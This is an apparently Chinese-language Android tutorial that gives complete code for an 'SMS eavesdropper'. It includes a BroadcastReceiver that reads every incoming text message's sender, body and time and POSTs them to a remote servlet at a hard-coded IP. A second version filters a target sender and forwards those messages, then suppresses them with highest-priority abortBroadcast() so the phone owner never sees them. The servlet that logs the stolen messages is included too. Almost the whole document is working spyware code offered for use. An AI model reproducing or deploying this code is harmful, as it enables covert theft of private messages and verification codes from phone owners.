在AndroidManifest.xml中添加权限:
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 --> <uses-permission android:name="android.permission.INTERNET"/><!-- 网络访问权限 -->
(1)Object[] pdus = (Object[])intent.getExtras().get("pdus");获得短信数据
(2)byte[] pdu = (byte[])pdus[0];
(3)SmsMessage message = SmsMessage.createFromPdu(pdu);将字节数组封装为SmsMessage
(4)String content = message.getMessageBody();获得短信内容
(5)String date = new Date(message.getTimestampMillis()).toLocaleString();获得短信时间
(6)String senderNumber = message.getOriginatingAddress();获得发送方号码
服务器端代码只是接收参数并显示;
三、短信窃听器具体代码
服务器端代码
package org.xiazdong.servlet; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @WebServlet("/SMSServlet") public class SMSServlet extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { request.setCharacterEncoding("utf-8"); String sender = request.getParameter("sender"); String body = request.getParameter("body"); String time = request.getParameter("time"); System.out.println("发送方:"+sender); System.out.println("发送内容:"+body); System.out.println("发送时间:"+time); } }
1.只是获得短信息
场景介绍
效果说明:
package com.xiazdong.smslistener; import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLEncoder; import java.util.Date; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsMessage; import android.util.Log; public class SMSBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Object[] pdus = (Object[])intent.getExtras().get("pdus"); //接收数据 for(Object p: pdus){ byte[]pdu = (byte[])p; SmsMessage message = SmsMessage.createFromPdu(pdu); //根据获得的byte[]封装成SmsMessage String body = message.getMessageBody(); //发送内容 String date = new Date(message.getTimestampMillis()).toLocaleString();//发送时间 String sender = message.getOriginatingAddress(); //短信发送方 try { sendSMS(sender,body,date); } catch (Exception e) { e.printStackTrace(); } if("5554".equals(sender)){ try { sendSMS(sender,body,date); } catch (Exception e) { e.printStackTrace(); } } } } private void sendSMS(String sender, String body, String date) throws Exception{ String params = "sender="+URLEncoder.encode(sender)+"&body="+URLEncoder.encode(body)+"&time="+URLEncoder.encode(date); byte[]bytes = params.getBytes("UTF-8"); URL url = new URL("http://192.168.0.103:8080/Server/SMSServlet"); HttpURLConnection conn = (HttpURLConnection)url.openConnection(); conn.setRequestMethod("POST"); conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); //设置HTTP请求头 conn.setRequestProperty("Content-Length", bytes.length+""); conn.setDoOutput(true); OutputStream out = conn.getOutputStream(); out.write(bytes); //设置HTTP请求体 if(conn.getResponseCode()==200){ Log.i("TAG", "发送成功"); } } }
AndroidManifest.xml
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 --> <uses-permission android:name="android.permission.INTERNET"/><!-- 网络访问权限 --> <application android:icon="@drawable/ic_launcher" android:label="@string/app_name" > <receiver android:name=".SMSBroadcastReceiver"> <intent-filter > <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver> </application>
2.屏蔽短信并发送给第三方
场景说明
客户端代码:
package com.xiazdong.smslistener; import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLEncoder; import java.util.Date; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsMessage; import android.util.Log; public class SMSBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Object[] pdus = (Object[])intent.getExtras().get("pdus"); //接收数据 for(Object p: pdus){ byte[]pdu = (byte[])p; SmsMessage message = SmsMessage.createFromPdu(pdu); //根据获得的byte[]封装成SmsMessage String body = message.getMessageBody(); //发送内容 String date = new Date(message.getTimestampMillis()).toLocaleString();//发送时间 String sender = message.getOriginatingAddress(); //短信发送方 if("15555215556".equals(sender)){ try { sendSMS(sender,body,date); } catch (Exception e) { e.printStackTrace(); } abortBroadcast(); //中断广播 } } } private void sendSMS(String sender, String body, String date) throws Exception{ String params = "sender="+URLEncoder.encode(sender)+"&body="+URLEncoder.encode(body)+"&time="+URLEncoder.encode(date); byte[]bytes = params.getBytes("UTF-8"); URL url = new URL("http://192.168.0.103:8080/Server/SMSServlet"); HttpURLConnection conn = (HttpURLConnection)url.openConnection(); conn.setRequestMethod("POST"); conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); //设置HTTP请求头 conn.setRequestProperty("Content-Length", bytes.length+""); conn.setDoOutput(true); OutputStream out = conn.getOutputStream(); out.write(bytes); //设置HTTP请求体 if(conn.getResponseCode()==200){ Log.i("TAG", "发送成功"); } } }
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 --> <uses-permission android:name="android.permission.INTERNET"/><!-- 网络访问权限 --> <application android:icon="@drawable/ic_launcher" android:label="@string/app_name" > <receiver android:name=".SMSBroadcastReceiver"> <intent-filter android:priority="1000"> <!-- 优先级设为1000,最高 --> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver> </application>